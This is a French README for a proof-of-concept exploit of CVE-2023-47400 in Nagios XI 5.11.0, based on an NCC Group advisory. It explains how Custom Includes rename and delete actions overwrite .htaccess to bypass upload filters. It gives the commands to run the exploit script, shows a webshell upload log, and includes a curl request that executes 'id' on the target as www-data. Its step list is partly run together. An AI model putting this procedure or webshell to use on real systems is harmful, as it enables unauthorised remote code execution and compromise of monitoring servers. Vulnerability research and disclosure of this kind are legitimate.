
Proof of Concept for the CVE-2023-47400
Preuve de concept pour la CVE-2023-47400
Exécution de code à distance PHP authentifié via écriture arbitraire de fichier sur Nagios XI 5.11.0
[!Note] Cette preuve de concept est basée sur l'avis technique publié par NCC group https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/
Cette preuve de concept suit ce processus :
placeholder.jpg (uniquement l'en-tête d'octets magiques JFIF, sans contenu)rename de Custom Includes pour renommer l'image en .htaccess (ce qui a pour effet d'écraser le fichier .htaccess existant)delete de Custom Includes pour supprimer le fichier .htaccess.jpg.php)L'exploitation de cette vulnérabilité conduit à une exécution de code à distance sur l'hôte NagiosXI, contournant les filtres de téléchargement de fichiers (via les filtres de signature de fichier et d'extension de fichier) et la prévention d'exécution PHP (via .htaccess).
[!Warning] Cet exploit efface le fichier
<NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccessprésent sur l'hôte afin de permettre l'exécution de code PHP !
# créer un venv pour l'isolation des dépendances
python3 -m venv .venv
source .venv/bin/activate
# exécuter pip install avant de lancer l'exploit
pip install -r requirements.txt
personnaliser la charge utile PHP à déposer dans le dossier de téléchargement d'images
exécuter le script d'exploit :
python exploit.py
# l'exploit génère une webshell et la télécharge avec un uuid comme nom de fichier
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)